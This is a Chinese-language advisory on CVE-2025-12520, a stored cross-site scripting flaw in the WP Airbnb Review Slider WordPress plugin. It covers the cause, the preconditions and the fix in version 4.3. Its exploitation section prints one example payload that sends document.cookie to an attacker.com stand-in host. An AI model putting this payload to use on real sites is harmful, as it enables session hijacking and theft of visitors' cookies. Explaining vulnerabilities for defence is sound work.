CVE-2025-12520CVE-2025-12520是WordPress平台下WP Airbnb Review Slider插件的一个存储型跨站脚本(XSS)安全漏洞。该漏洞存在于插件的管理员设置功能中,由于对URL输入验证不充分,攻击者可以引入恶意HTML文件内容。漏洞影响该插件4.2及以下所有版本。攻击者需要具有管理员级别或更高权限,且该漏洞仅影响多站点安装或已禁用unfiltered_html功能的WordPress站点。当恶意脚本被注入后,每当用户访问包含注入内容的页面时,恶意代码就会自动执行,可能导致会话劫持、敏感信息窃取、管理后台被完全控制等严重后果。Wordfence安全团队于2025年11月7日披露此漏洞,建议用户立即更新到4.3或更高版本以修复此安全问题。
该漏洞的根本原因在于WP Airbnb Review Slider插件的管理设置页面缺乏对URL参数的充分验证和过滤。攻击者(具有管理员权限)可以在插件的设置选项中输入包含恶意HTML/JavaScript代码的URL地址。当插件从该URL获取并显示内容时,恶意代码会被存储到数据库中。由于缺乏输出时的转义处理,存储的恶意脚本会在其他用户访问相关页面时直接执行。具体利用方式:首先攻击者需要获得WordPress站点管理员账号权限,然后在插件设置中找到一个接受URL输入的字段(如评论来源URL设置),将该字段值替换为指向攻击者控制的恶意HTML文件的URL。该HTML文件中包含<script>标签或其他XSS payload,如:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。保存设置后,恶意代码会被永久存储在wp_options或相关数据表中。当前端用户访问使用该插件展示评论的页面时,恶意脚本便会自动执行,窃取用户会话cookie或执行其他恶意操作。此漏洞的利用前提是目标站点为多站点模式或已禁用unfiltered_html,这两种情况下WordPress不会过滤用户输入的原始HTML代码。